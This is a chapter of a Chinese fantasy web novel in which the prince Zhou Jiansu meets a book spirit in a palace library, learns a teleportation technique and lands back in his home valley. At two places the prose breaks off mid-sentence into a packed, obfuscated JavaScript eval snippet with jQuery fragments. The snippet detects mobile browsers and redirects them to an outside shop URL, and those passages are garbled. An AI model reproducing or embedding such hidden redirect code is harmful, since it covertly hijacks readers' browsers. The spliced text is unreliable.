他回头望去,只见将军被铺天盖地的剑光笼罩,转瞬间天地一空,连半丝气息都寻不到,竟是被季明削得神魂俱灭! 崔山青后心发凉,遁术施展到极致,夺路而逃。 他一边跑,一边琢磨:这季明紧追不放,究竟所为何事? 他把自己知道的事情往前数了八百年,连当初夜探周朝诸王府的旧事都翻了出来,实在想不到什么值得被追杀。 难不成……是为了天断谷一事? 崔山青越想越惊悚。周朝新接回去一个皇子,这事已经传得天下皆知,现在季明要杀人灭口,是想隐瞒什么? 难不成,天断谷内还有秘宝? 或者说,那位皇子身上有更多的秘密? 楚朝将军的死还是拖延了片刻。崔山青跑得老远,直到再也看不见季明的身影,终于能够停下来喘口气。 他寻了处安全之地,一边疗伤,一边发狠:季明啊季明,你要瞒着天断谷和周见素的事情,我偏偏要给你捅破! 千里之外,季明停下脚步,没有继续追上去。 在他视线中,崔山青的踪迹无所遁形,但他却毫无反应,甚至笑了笑,拂袖离去。 * 面对周见素的疑问,裴昭略做思索:“季大人应仍在镇天府。” 周见素目露疑惑之色。 “季大人想必自有打算。”裴昭说出标准的废话,“不过最久三个月,一定会回到皇庭。” 周见素听他这么说,就知道自己得不到答案了。 按照常理,作为他的老师,季明更应该及时赶回皇都。镇天府有人看管,并不需要季明待在那边。 周见素再次嗅到危险的味道。 他拱手道:“多谢裴先生告知。我还想问问,宫中可有藏书阁?” 这次裴昭给他指明了位置。 周见素来到藏书阁前,才知道自己的想象力有多么匮乏。 阁楼前云霞缭绕,门上挂着一个匾额,上书“万象楼”三字。楼高入云,一眼几乎望不到顶。 这座阁楼外无人把守,周见素踏入其中,只觉得浑身微凉,好像有一道无形的目光,将他全身扫过。 任不争跟在他身后,抬脚也要跟进去,却被一道柔光挡住。 周见素见状,冲她摇摇头:“我一个人去看看。” 他来这里的目的,是快速了解整个世界。 他对这个世界的了解,大多数来自于几次出村卖药草的经历。 第一次出门,他差点被抢劫,幸亏有好心人路见不平,拔刀相救。第二次出门遇见火并,一群人打架打到整条街被掀翻,是附近的学堂夫子出手制止。 由此可见,这世界实在太乱。 但这些了解都太浅薄,他还想知道这个世界的历史。 让周见素惊喜的是,藏书阁里果然什么都有。 不止内容多且杂,从《建国之路》到《造反需知》,从《我道唯我》到《化千万道》,容纳的形式也千奇百怪。 周见素来到最左侧,探手一招,重重叠叠的玉简同时飞出。 左侧的书基本和道法无关,大多数是周朝历史,名人手札,生物图册之类。 他挑了看起来最正常的一本,身后冒出一个软质沙发,舒服地坐下去。 玉简化作书册,触手微凉,看得出很久没有人翻阅,因此略有些滞涩。 不知不觉,天色渐晚。周见素沉浸在读书的氛围中,没有动弹的打算,看了一本,又看下一本。 不知何时,书本上投来的光线也幽暗下来,落在书册上,照出一个圆圆的影子。 周见素翻书的手停在原地,瞬间毛骨悚然。 那圆润的阴影,怎么看,都像是一个人的头颅。 冷静些,这东西待在一国国都,又是皇宫之中,如果有恶意,不该没有人知道才对。 周见素如此安慰自己,轻轻捻过下一页,动作看不出半点变形的迹象。 只是翻页的动作慢了些,那影子立刻晃一晃,很亲热地凑得更近,呼吸吐在周见素脖颈边。 周见素浑身起了一层薄汗。他从来不喜欢和别人挨得太近,顿时浑身难受,想动又不敢动。 忽然,身侧响起一道童声:“怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648335|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了?” 周见素的手指停在书上。他微微苦笑:“前辈突然出现,我心神动摇,已经无心再读。” 那声音很惊讶地呀一声。 周见素仔细地抚平书页,将书本缓缓合上。这童声听起来格外天真,他的猜测应该是对的,此人确实没有伤害他的意思。 声音沉默了一会儿,再次响起,围绕着空旷的藏书阁,徐徐旋转:“你再看一会儿吧,我还想看。” 两人于是一坐一站,就着周见素的手,看完了这本《开国手记》。 周见素翻到最后一页,看见尾页写了字,洋洋洒洒数行,大意是如何统一治国与修行二者的关系,落款龙飞凤舞,入纸三分。 他刚看完周国建国史,认出这是周朝太祖的名字。 阴影落了下去,它的目光也随之转移开来。藏书阁顶仿造的天空风雨欲来,像一个人阴郁的心情。 周见素见到这一幕,对这阴影的身份,已经猜出了一大半。 阴影在周见素面前显出身形,是一个扎着双丫髻的女童:“万年来,你是第一个来看这些书的人。” 周见素不觉得奇怪。这座藏书阁里的确包罗万象,但这可不是地球的古代,皇宫中都是修行之人,恐怕只对道法传承感兴趣。 毕竟他们又不是自己这样的外来者。 “既然没有人看,为什么要放进来?” 女童在周见素身侧坐下:“太祖当年建藏书阁,说要装这些书。他说万一有人会喜欢呢?如果连单纯的书也没有,为什么要叫藏书阁。如果这些书都不放,为什么叫万象阁?” 万象,包罗天地。 此地藏书,确实没有辜负这个名字。在此读书,可识天下;此地珍藏,涵盖万物。 只是……太祖连怎么造反都肯教? 女童不知道他在想什么,抬手招来他下午看过的所有书籍,啧啧有声:“太祖手记,这么宝贵的东西,他们居然放着不看,哼……” 周见素心道:谁叫我不懂历史呢。 她继续往下翻:“用器百则,这是工匠的书,你也爱看?” 这倒真没有。只是他走之前,天断谷院子里的浇水装置还没有做完,忍不住看看有没有更好的替代品。 希望他回去的时候,院子里种的白菜还没有枯死。 “舌尖上的大周,药园杂记,罕见动物名册,鸡鸭饲养手册……爱好还挺多。” 周见素:“……”人不需要隐私吗? 女童不在意隐私。她笑吟吟地把书册放回原位,难掩雀跃:“非常好!这么多年,终于等到你了。” 等我?周见素想起季明口中含混不清的预言,试探着问:“你也是因为那个预言?” 女童一怔,摇头道:“万年前,我和一个人打赌,他说这些书早就过时了。我不信,他就要我守在这里,哪天有人来看这些书,才许我出来。” 难怪她要借自己的手看书。 所以,她至少活了一万年。 周见素原本想不明白的东西,忽然清晰了一些,但更多的疑惑也随之而来。 那个与她打赌的又是谁?为什么能让她乖乖守在这里? “我该如何称呼前辈?”周见素小心试探。 “叫我书灵就好。” 书灵说:“你看了这些书,就是与我有缘。按照太祖的意思,该赐给你一道机缘……” 书灵自言自语,微微点头,正要说些什么,忽然又警惕地看了周见素一眼,严肃道:“有缘归有缘,你可不许造反!” “为什么这么说?” 书灵横眉冷对,很不高兴:“以前有人看了书,说他也想造反。我打他打得很累,很心烦,不想再打你了!” 周见素当然也不想挨打,连忙解释:“我是太祖的后人,怎么会造他的反?” “那个人也是太祖的后人。”书灵反驳,“他可以这么想,你也可以。但你造反,我会打死你。” 周见素顿时福至心灵,问:“他后来造反,被你打死了?” 书灵很遗憾:“没有呢,后来他再也不来了,但是叫人给我送来了一本书,叫混沌五行诀,要我好好保管。” 8. 第 8 章 周见素微微一怔。 混沌五行诀?! 玉珏中的背影浮现在脑海中,那天的对话再次响起。 ‘此乃吾友人所赠……’ 周见素张了张嘴。他觉得这两个人应该就是同一人,很想问问这人究竟是谁,偏偏又不敢问。 书灵看他一脸挣扎,突然伸出一只手指:“别想了,那不是你能练的,那篇心决起始篇就是元婴,你才炼气,学不来!” 周见素无奈,正要躲开她那只手指,却被牢牢按在原地。 书灵稚嫩的脸上满是严肃:“不要躲,今日送你一篇传送法门,莫要外传。” 浩荡文字涌入大脑,有一瞬间的疼痛。周见素得了传承,坐在原地,一阵恍惚:“就因为我读了这些书?” 就这么大方? 灵体皱眉,不懂他为什么要这么问:“你在这里看这些‘闲书’,可我建立第一天,太祖放进来的就是这些书。” 书灵满口太祖,周见素看她的样子,知道这就是铁杆太祖亲信,干脆不再多想,先行谢过。 “其实……”书灵忽然有些扭捏,“我还想让你做一件事。” 得了好处,周见素当然不能拒绝:“前辈想要我做什么?力所能及之事,我一定做到。” 书灵搓搓手:“你看看扉页。” 脑海中,传承道印已经烙印成功。周见素心念微动,翻开封页,定睛看去。 只见那符纸金页上,一行闪烁的墨迹横行,字迹飞扬。 “宇宙周行诀,吾得之,潜心修行百年,初入齐宇宙篇,再无寸进。尝闻此诀修至大成,或可穿梭生死,逆走光阴……憾不得见。” 周见素一字一顿地看完,不可置信地又读一遍,恍恍惚惚,抬头看向书灵。 这绝不是普通的传送术! 书灵满脸骄傲,昂首道:“你没看错,你如果将这篇传送术练到第五层‘齐宇宙篇’,就可以穿梭生死两界!” 宇为空间,宙为时间。这个名字取得很大,大得周见素不敢相信。 他喃喃道:“难道修行至深,连时光也可以改变?不……撰写者也只说或许,连他也没有修成,这只是一个猜测而已!” 周见素心思一定,看向书灵。 书灵果然道:“后半句逆走光阴,确实不一定。但我听太祖说,他曾见过有人自由穿梭生死两界。周见素,你若是学成此术,我要你替我去寻一个人。” 周见素心中已经有了猜测。 书灵神情黯然道:“太祖已经逝去数万年,可我还想再见他一面。” 周见素浑身一震,冲口而出:“太祖还在?!” 他说的在,并不是还活着。书灵想要找一个活着的人,是很简单的事情。她想找一个死人,那才是难事。 让周见素惊讶的是,这里没有轮回?死去的人,难道永远停留在那个所谓的死亡之地? 他看向书灵,书灵摇了摇头:“我不知道。” 周见素不再说话,低头沉思起来。 如果这个世界真的没有轮回,是只针对修士,还是所有普通人? 死去的人,真的还在另一个世界吗? 书灵见他沉默,也有些急了:“你会去的吧?” 周见素醒过神来,郑重道:“我会的。” 书灵没有要他同意后再传授诀窍,这是她的诚意。爽快同意,说到做到,这是他的诚意。 书灵终于松了一口气,跳到云端上,化作一缕轻烟,钻进某本书中。 藏书阁里回荡着她的笑声:“我会记得这个约定!哦,对了。” 她从书页中探出头,笑吟吟道:“宇宙周行诀有一套衍生遁法,也在里面,效果还不错,这篇算是送你的,不收钱。” 周见素松开手上的几本闲书,盘膝而坐。脑海中那本《宇宙周行诀》骤然散开,又整齐排列成完整的心诀。 周见素沉心静气,细细看去。 宇宙周行诀共五篇。他现在看的是第一篇,履尘世篇。 篇如其名,修炼成功之后,想去哪就去哪,天地之间任我遨游,是为履尘世。 修行这个传送法门,需要修炼者在宇宙中,寻到自己去往的那个点,烙印传送阵纹,将起点与终点连通。 周见素没有见过其它遁术,也不知道难度如何。他盯着法诀,在思考一个问题。 这个定位要怎么确定? 定位错,处处错,如果自己都不知道会去哪里,说不定死得很惨。 还是说,轮到高数出场了?修仙界现在修炼都这么学术了吗? 周见素沉思片刻,心道想再多不如试一试,干脆按照传承的说法,先烙印一道传送阵。 他深吸一口气,双指掐诀,元气随经脉而走。 五种元气中,他最喜欢用水属性。不会过分锋利,轻盈之余也有足够的杀伤力。 水属性元气透体而出,他整个人都几乎被包围在一团蔚蓝的水雾中,随着周见素的控制,按照传承中的阵图,仔细勾勒阵纹。 一切都很顺利。 然而阵纹刚勾画出来,却很快在虚空中消散,只留下几缕水蓝色的水雾。 藏书阁最顶层的云端中,书灵趴在厚厚的书册中,紧张地往下瞧。 她喃喃道:“这小家伙的根基倒是很牢,但是要在虚空中勾画阵纹,水属性还是太温和了,除非用修为补足……失策失策——咦?” 周见素盯着消散的元气,也意识到了这一点。他纠结了一下,换成金属性? 似乎是个不错的选择,但…… 他心念一动,五行元气同时升腾,尝试运用同样的配比,融合在一起。 之前他就想这么干了,这五道先天元气是从混沌元气中拆分出来,那么是不是也可以再次融合? 混沌元气脱胎自先天,杀伤力应该是远超五行元气的。他没有见过,但可以尝试。 周见素额上冒出冷汗,同时控制五行元气,元气被抽空的速度远远超过他的想象,过了一阵,他手上一抖,元气终于被耗空。 “嘭——!” 周见素满脸愕然,灰头土脸地坐在那里,被自己的元气炸得直咳嗽。 元气涌动,他重新检查面前那一团灰雾,反思自己的配比,似乎是火土属性略多了一丝。 那么这一次再少一些。 想到就做,重新恢复元气后,周见素再次尝试起来。 “他不会把自己炸死吧?”书灵晃晃腿,看着底下的动静,爆炸太多次,黑烟直冲云霄。 书灵很惆怅,暗暗祈祷:小家伙千万别死了,她终于找到一个人能传下去。上一个传承者现在不知道在哪里,可她还想看看主人…… 她叹了口气,正要施以援手,以免周见素把自己炸死,却见底楼里黑烟散去,五行元气缭绕而动,将人围在中间。 书灵瞪大了双眼。 一丝灰气,从五行元气的包围中透出寥寥烟雾。虽然只是一丝,却比大多数元气都具有更强的侵略性,所过之处,元气退避。 周见素凝练出这一丝混沌之气,开始用混沌气勾勒阵纹。 这次阵纹顺利勾勒完整,华光绽放,无数光纹沿着阵纹弥合,最终形成一条条完整的路线。 元气在其中运转,混沌气息定守中央。 周见素既惊又喜,正要松开对传送阵的控制,忽然眼前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648336|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑,不受控制地往前倾倒。 原本虚无的终点骤然闪现,下一刻,藏书阁里再也没有他的身影。 * 新回宫的二皇子殿下失踪了。 此事起初瞒得很好,然而不知是谁走漏了风声,传得头头是道,连二皇子受害的经过都编了个大概。 任不争寻遍皇宫,始终找不到人。她默默思索,最终想到一个嫌疑人——周竟天。 她立刻冲到东王府,刀未出鞘,锋芒毕露:“敢问小王爷,二殿下何在?” 满皇都的传言里,十条有九条说他绑架二皇子,还有一条说他岂止绑架,二皇子已经死无葬身之地啦! 周竟天名誉受损,却找不到理由反驳,只好大门紧闭,窝在府中生闷气。 这个惊天大锅迎面扣过来,他也很无奈:“本王不知道。” 东王不在府上,任不争险些掀翻东王府。周竟天与她对拼一掌,两人双双受伤,直到丞相出面,才将事情压下。 周竟天莫名其妙受伤,气得火冒三丈:“你没有看好他,来找我发什么疯?!” 任不争面无表情:“殿下若有意外,小王爷难辞其咎。” 唐丞相听他们你来我往,轻咳一声:“任不争,你是殿下的护卫,也是季太傅的手下,不要太张扬了。” 周竟天扯了扯嘴角。 丞相说完,转过脸去,看着周竟天:“小王爷,你秉性如何,我是很清楚的。嗯……你当真没有暗下黑手?” 虽然你小子实力不够,但二殿下久居深山,又没有臂助,玩不过你也很正常嘛。 “?”周竟天睁大眼睛:“唐相?!” 唐正明摸摸胡须,移开视线,严肃道:“好了,早就说过皇都禁武,你们这样不听劝,实在难以服众。左右,来与本官拿下!” 任不争原本一声不吭,此时终于开口:“请唐相寻回殿下。” 唐正明微微点头:“殿下行踪,本官自会查明。” 周竟天两巴掌拍开押送自己的官吏,自顾自走在最前方,走出了镇压一方的气势。 唐正明遥望他的背影,眼神闪烁。 押走两个惹事的家伙,看热闹的市民也被撵走,他站在废墟一般的东王府里,踢开满地碎石。 一国皇子在皇庭中莫名失踪,这简直是奇耻大辱。几个名字在他心中盘旋,最后他轻声道:“左右。” 阴影中浮现几个身影。 “一日寻不回殿下,便掀翻楚朝一处道场。” 话音落下,最后几个字杀气腾腾,唐正明袖袍一甩,怒气冲天而走。 * 周见素眼前发黑,什么也看不见。狂风吹过他的脸,四肢好似被一股强大的力量锁定,无法动弹。 这感觉转瞬而逝,黑暗尽头忽然出现一道光束,光明骤现。 他还没有反应过来,束缚他的力量消失,眼前出现了一片彩云,云朵迅速后退。 “嘭——” 周见素背部着地,摔得七晕八素,扶着腰艰难起身。 视线逐渐清晰,他看向四方,突然愣住了。 咦?他怎么回家了? 自己什么时候定位了天断谷?难道是太想家,所以传送阵才自动识别到位置? 他站在自己的茅草屋外,院前种植的苗圃只剩下坑洞,几根可怜的根须扎在泥地里。 简陋的房子似乎还有人居住,屋前悬挂的几串干草被收起,临走前门外原本晒了辣椒,此时也消失不见。 周见素脚步放缓,走上前去,正要推门而入。忽然房门打开,一个似曾相识的身影从中走出。 周见素目瞪口呆,与重逢的季太傅面面相觑。